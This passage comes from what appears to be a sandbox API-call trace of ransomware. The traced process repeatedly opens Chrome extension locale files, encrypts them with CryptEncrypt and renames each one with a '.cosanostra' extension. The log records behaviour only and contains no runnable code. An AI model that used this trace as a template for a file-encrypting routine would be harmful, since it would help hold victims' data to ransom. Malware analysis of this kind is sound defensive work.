nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf914, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf914*=0xb3, lpOverlapped=0x0) returned 1 [0085.079] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.079] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf954*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf914, lpOverlapped=0x0 | out: lpBuffer=0x2abf954*, lpNumberOfBytesWritten=0x2abf914*=0x4, lpOverlapped=0x0) returned 1 [0085.079] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf914, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf914*=0x30, lpOverlapped=0x0) returned 1 [0085.079] CloseHandle (hObject=0x18c) returned 1 [0085.079] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.cosanostra")) returned 1 [0085.081] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf950 | out: pbBuffer=0x2abf950) returned 1 [0085.081] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf948*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf948*=0x30) returned 1 [0085.082] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.082] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json") returned 157 [0085.082] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.083] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.083] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf90c, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf90c*=0xb3, lpOverlapped=0x0) returned 1 [0085.083] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.083] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf94c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf90c, lpOverlapped=0x0 | out: lpBuffer=0x2abf94c*, lpNumberOfBytesWritten=0x2abf90c*=0x4, lpOverlapped=0x0) returned 1 [0085.083] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf90c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf90c*=0x30, lpOverlapped=0x0) returned 1 [0085.083] CloseHandle (hObject=0x18c) returned 1 [0085.083] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.cosanostra")) returned 1 [0085.085] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf948 | out: pbBuffer=0x2abf948) returned 1 [0085.085] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf940*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf940*=0x30) returned 1 [0085.085] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.085] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json") returned 157 [0085.085] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.086] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.086] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf904, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf904*=0xb3, lpOverlapped=0x0) returned 1 [0085.086] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.086] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf944*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf904, lpOverlapped=0x0 | out: lpBuffer=0x2abf944*, lpNumberOfBytesWritten=0x2abf904*=0x4, lpOverlapped=0x0) returned 1 [0085.086] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf904, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf904*=0x30, lpOverlapped=0x0) returned 1 [0085.087] CloseHandle (hObject=0x18c) returned 1 [0085.087] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.cosanostra")) returned 1 [0085.088] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf940 | out: pbBuffer=0x2abf940) returned 1 [0085.088] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf938*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf938*=0x30) returned 1 [0085.088] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.089] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json") returned 157 [0085.089] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.089] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.089] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf8fc, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf8fc*=0xb3, lpOverlapped=0x0) returned 1 [0085.089] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.089] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf93c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf8fc, lpOverlapped=0x0 | out: lpBuffer=0x2abf93c*, lpNumberOfBytesWritten=0x2abf8fc*=0x4, lpOverlapped=0x0) returned 1 [0085.090] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf8fc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf8fc*=0x30, lpOverlapped=0x0) returned 1 [0085.090] CloseHandle (hObject=0x18c) returned 1 [0085.090] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.cosanostra")) returned 1 [0085.091] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf938 | out: pbBuffer=0x2abf938) returned 1 [0085.091] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf930*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf930*=0x30) returned 1 [0085.091] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.091] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json") returned 157 [0085.092] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.092] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.092] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf8f4, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf8f4*=0xb3, lpOverlapped=0x0) returned 1 [0085.092] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.092] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf934*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf8f4, lpOverlapped=0x0 | out: lpBuffer=0x2abf934*, lpNumberOfBytesWritten=0x2abf8f4*=0x4, lpOverlapped=0x0) returned 1 [0085.092] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf8f4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf8f4*=0x30, lpOverlapped=0x0) returned 1 [0085.093] CloseHandle (hObject=0x18c) returned 1 [0085.093] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.cosanostra")) returned 1 [0085.094] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf930 | out: pbBuffer=0x2abf930) returned 1 [0085.094] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf928*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf928*=0x30) returned 1 [0085.094] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.094] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json") returned 157 [0085.094] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.095] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.095] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf8ec, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf8ec*=0xb3, lpOverlapped=0x0) returned 1 [0085.095] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.095] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf92c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf8ec, lpOverlapped=0x0 | out: lpBuffer=0x2abf92c*, lpNumberOfBytesWritten=0x2abf8ec*=0x4, lpOverlapped=0x0) returned 1 [0085.095] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf8ec, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf8ec*=0x30, lpOverlapped=0x0) returned 1 [0085.095] CloseHandle (hObject=0x18c) returned 1 [0085.096] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.cosanostra")) returned 1 [0085.097] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf928 | out: pbBuffer=0x2abf928) returned 1 [0085.098] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf920*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf920*=0x30) returned 1 [0085.098] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.098] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json") returned 157 [0085.098] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.099] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.099] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf8e4, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf8e4*=0xb3, lpOverlapped=0x0) returned 1 [0085.099] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.099] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf924*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf8e4, lpOverlapped=0x0 | out: lpBuffer=0x2abf924*, lpNumberOfBytesWritten=0x2abf8e4*=0x4, lpOverlapped=0x0) returned 1 [0085.099] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf8e4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf8e4*=0x30, lpOverlapped=0x0) returned 1 [0085.099] CloseHandle (hObject=0x18c) returned 1 [0085.099] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.cosanostra")) returned 1 [0085.101] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf920 | out: pbBuffer=0x2abf920) returned 1 [0085.101] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf918*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf918*=0x30) returned 1 [0085.101] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.101] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned 157 [0085.101] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.102] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.102] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf8dc, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x2abf8dc*=0xb3, lpOverlapped=0x0) returned 1 [0085.102] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.102] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf91c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf8dc, lpOverlapped=0x0 | out: lpBuffer=0x2abf91c*, lpNumberOfBytesWritten=0x2abf8dc*=0x4, lpOverlapped=0x0) returned 1 [0085.102] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf8dc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf8dc*=0x30, lpOverlapped=0x0) returned 1 [0085.102] CloseHandle (hObject=0x18c) returned 1 [0085.102] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.cosanostra")) returned 1 [0085.104] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf918 | out: pbBuffer=0x2abf918) returned 1 [0085.104] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf910*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf910*=0x30) returned 1 [0085.104] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 